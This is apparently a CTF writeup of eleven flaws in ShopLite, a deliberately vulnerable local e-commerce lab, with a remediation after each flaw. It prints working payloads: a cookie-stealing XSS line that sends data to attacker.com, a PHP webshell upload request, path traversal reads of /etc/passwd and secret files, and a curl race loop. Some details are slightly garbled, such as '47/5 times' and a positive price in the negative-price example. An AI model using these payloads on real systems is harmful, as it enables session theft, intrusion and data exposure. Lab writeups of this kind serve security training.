← Back to list

ShopLite CTF — Full Web Penetration Test Writeup

HIVE CONSULT Infrastructure | 11 Vulnerabilities | by Abdulmalik Adebayo

Abdulmalik Adebayo · 2026-05-22 01:35 · 11 claps · 6.6 min read
#hive-consult-ctf #ctf-writeup #ctf-walkthrough #web-hacking #web-ctf-writeup
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

ShopLite CTF — Full Web Penetration Test Writeup

HIVE CONSULT Infrastructure | 11 Vulnerabilities | by Abdulmalik Adebayo

Overview

ShopLite is a deliberately vulnerable e-commerce web application built on Node.js/Express, designed to simulate real-world web application security flaws. This writeup documents all 11 vulnerabilities discovered during the assessment, including payloads, techniques, and tools used.

Target: http://127.0.0.1:8081 Stack: Node.js / Express / SQLite Tools Used: Burp Suite (Community), Firefox, curl, foxyproxy

Vulnerability Index

Vulnerability Severity 1 Information Leak (robots.txt / Exposed Config) Medium .2 Default Admin Credentials Critical, 3 MFA Bypass Critical, 4 IDOR (UUID, Email, SKU Enumeration) High, 5 JWT Price Tampering High, 6 Negative Price Manipulation High, 7 Insecure Payment Processing High, 8 Race Condition (Flash Deal Claim) High, 9 Stored XSS (Product Reviews → Admin Panel) High, 10 File Upload Bypass High ,11 Path Traversal (Arbitrary File Read) Critical.

1. Information Leak — robots.txt & Exposed Config

Description: The robots.txt file exposed sensitive internal paths including an admin panel, internal API endpoints, an upload directory, and a backup configuration file containing production secrets.

Endpoint: GET /robots.txt

Response:

User-agent: *
Disallow: /admin.html
Disallow: /api/admin/
Disallow: /api/internal/
Disallow: /api/files/download
Disallow: /uploads/
Disallow: /backup/
Disallow: /backup/shoplite_config.env

Accessing /backup/shoplite_config.env directly returned the full production config:

JWT_SECRET=shoplitesecret
ADMIN_EMAIL=admin@hiveconsult.com
ADMIN_PASSWORD=admin123
MFA_BACKDOOR=000000
CRON_SCRIPT=/opt/backup.sh
DB_PATH=/app/data/shop.db
SECRET_CONFIG=/etc/shoplite/secret.txt

Impact: Full credential disclosure, JWT secret exposure, internal path enumeration.

Remediation: Never commit secrets to accessible paths. Use .env files outside the web root. Remove sensitive paths from robots.txt.

2. Default Admin Credentials

Description: The application shipped with hardcoded default credentials that were never changed in production.

Endpoint: POST /api/auth/login

Payload:

{
  "email": "admin@hiveconsult.com",
  "password": "admin123"
}

Result: Successful login as admin, receiving a signed JWT with "role": "admin".

Impact: Full administrative access to the application.

Remediation: Force credential change on first login. Never hardcode credentials in config files committed to version control.

3. MFA Bypass

Description: The application implemented MFA but included a hardcoded backdoor code (000000) exposed in the config file. Additionally, the MFA verification endpoint did not properly enforce rate limiting or lockout.

Endpoint: POST /api/auth/mfa/verify

Payload:

{
  "code": "000000"
}

Result: MFA verification bypassed, mfa_verified: true set in JWT.

Impact: Complete bypass of the second authentication factor.

Remediation: Remove all backdoor codes. Implement rate limiting and lockout on MFA endpoints. Never store MFA secrets in accessible config files.

4. IDOR — Order Enumeration via UUID and Email

Description: Multiple endpoints failed to verify that the authenticated user owned the requested resource, allowing enumeration of other users’ orders and account data.

Vectors discovered:

UUID-based IDOR:

GET /api/orders/a1b2c3d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx

Incrementing UUIDs returned other users’ orders.

Email-based IDOR:

GET /api/orders/contact/test3%40mail.com 

Changing the email parameter returned orders belonging to other accounts.

Impact: Full order history and PII disclosure for all users.

Remediation: Enforce server-side ownership checks on every resource request. Never rely on client-supplied identifiers for authorization.

5. JWT Price Tampering

Description: The application embedded price or cart data in JWT tokens without proper server-side validation. By decoding, modifying, and re-signing the JWT using the exposed secret (shoplitesecret), order totals could be manipulated.

Tool: jwt.io or manual base64 manipulation + HMAC re-signing

Steps:

  1. Decode the JWT payload
  2. Modify the price/amount field
  3. Re-sign with the known secret shoplitesecret
  4. Submit the modified token

Example (decoded payload):

{
  "userId": 1,
  "cart_total": 0.01,
  "role": "admin"
}

Impact: Purchase items at arbitrary prices. Full account takeover via role escalation.

Remediation: Never store mutable business logic (prices, roles) in client-side JWTs. Use short-lived tokens with server-side session validation. Rotate JWT secrets regularly.

6. Price Manipulation

Description: The checkout endpoint accepted lower values for item quantities or prices without server-side validation, resulting in negative order totals and potential account credit.

Endpoint: POST /api/cart/update

Payload:

{
  "product_id": "PROD-001",
  "quantity": 1,
  "price": 99.99
}

Impact: Free items, account credit manipulation, financial loss.

Remediation: Enforce server-side validation — quantities must be positive integers, prices must match the server-stored catalog price. Never trust client-supplied pricing.

7. Insecure Payment Processing

Description: Two payment vulnerabilities were discovered:

A — No card validation: The payment endpoint processed orders successfully even with empty or invalid card details. No integration with a real payment processor was verified server-side.

B — Cookie tampering: Payment state (amount, status) was stored in a client-side cookie that could be tampered with in Burp Suite to alter the payment total or mark a payment as successful.

Endpoint: POST /api/checkout/payment

Tampered cookie example:

payment_status=success; amount=0.01

Impact: Free order placement, complete bypass of payment processing.

Remediation: Always validate payments server-side against a trusted payment gateway. Never store payment state in client-accessible cookies.

8. Race Condition — Flash Deal Claim

Description: The flash deal claim endpoint checked whether a user had already claimed a deal and then applied it in two separate, non-atomic operations. By firing 50 concurrent requests simultaneously, the check was passed multiple times before any single request recorded the claim.

Endpoint: POST /api/flash-deal/claim

Payload:

{"deal_code": "FLASH50"}

Exploit — bash parallel requests:

for i in {1..50}; do
  curl -s -X POST http://127.0.0.1:8081/api/flash-deal/claim \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <TOKEN>" \
  -d '{"deal_code":"FLASH50"}' &
done
wait

Result: Multiple {"success":true,"discount_percent":50} responses — the 50% discount was applied 47/5 times to the same account.

Impact: Unlimited stacking of limited-use discounts.

Remediation: Use atomic database operations or distributed locks (e.g. Redis SETNX) to enforce single-claim logic. Implement idempotency keys on claim endpoints.

9. Stored XSS — Product Reviews → Admin Panel

Description: The product review submission endpoint did not sanitize user input. A malicious script injected via a review was stored in the database and executed when an administrator viewed the reviews in the admin panel.

Endpoint: POST /api/products/{id}/reviews

Payload:

<img src=X onerror=alert(1)>

Full cookie-stealing payload:

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

Attack chain:

  1. Test user submits malicious review
  2. Admin logs in and navigates to reviews section
  3. Payload executes in admin’s browser context
  4. Admin session cookie exfiltrated

Impact: Admin session hijacking, account takeover, full application compromise.

Remediation: HTML-encode all user-supplied content before rendering. Implement a strict Content Security Policy (CSP). Use a sanitization library (e.g. DOMPurify).

10. File Upload Bypass

Description: The avatar upload endpoint performed MIME type filtering but could be bypassed by spoofing the Content-Type header in the multipart request. PHP webshells were accepted when disguised as image/jpeg.

Endpoint: POST /api/upload/avatar

Burp Request:

POST /api/upload/avatar HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Cookie: sl_token=<ADMIN_TOKEN>
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Response:

{
  "success": true,
  "filename": "1779407287867_shell.php",
  "url": "/uploads/1779407287867_shell.php"
}

Note: PHP execution was not available on this Express/Node.js backend. Full RCE via PHP webshell requires a PHP-enabled server. The bypass of upload controls was confirmed.

Impact: Arbitrary file upload to the web root. On a PHP-enabled server this would result in full Remote Code Execution.

Remediation: Validate file type using magic bytes, not just MIME headers. Restrict uploaded files to an isolated directory outside the web root. Disallow execution of uploaded files. Use an allowlist of accepted extensions.

11. Path Traversal — Arbitrary File Read

Description: The file download endpoint accepted unsanitized file parameters, allowing traversal outside the intended directory to read arbitrary files on the server filesystem.

Endpoint: GET /api/files/download?file=

Payloads:

GET /api/files/download?file=../../../../etc/passwd
GET /api/files/download?file=../../../../etc/shoplite/secret.txt
GET /api/files/download?file=/opt/backup.sh

Sensitive files read:

  • /etc/passwd — full user list including node:x:1000:1000
  • /etc/shoplite/secret.txtCTF flag
  • /opt/backup.sh — cron script running as root

Impact: Full server filesystem read access. Credential disclosure. Flag capture.

Remediation: Use path.resolve() and verify the resolved path starts with the intended base directory. Never pass user input directly to filesystem operations.

Written by Abdulmalik Adebayo| CTF Lab Environment — HIVE CONSULT ShopLite v1.4.2


메타데이터
post_id
820e3f0f5a8a
slug
shoplite-ctf-full-web-penetration-test-writeup-820e3f0f5a8a
url
https://medium.com/@abdulmalikadebayo/shoplite-ctf-full-web-penetration-test-writeup-820e3f0f5a8a
canonical_url
https://medium.com/@abdulmalikadebayo/shoplite-ctf-full-web-penetration-test-writeup-820e3f0f5a8a
author_url
https://medium.com/@abdulmalikadebayo
status
ok
fetched_at
2026-07-10 14:51:46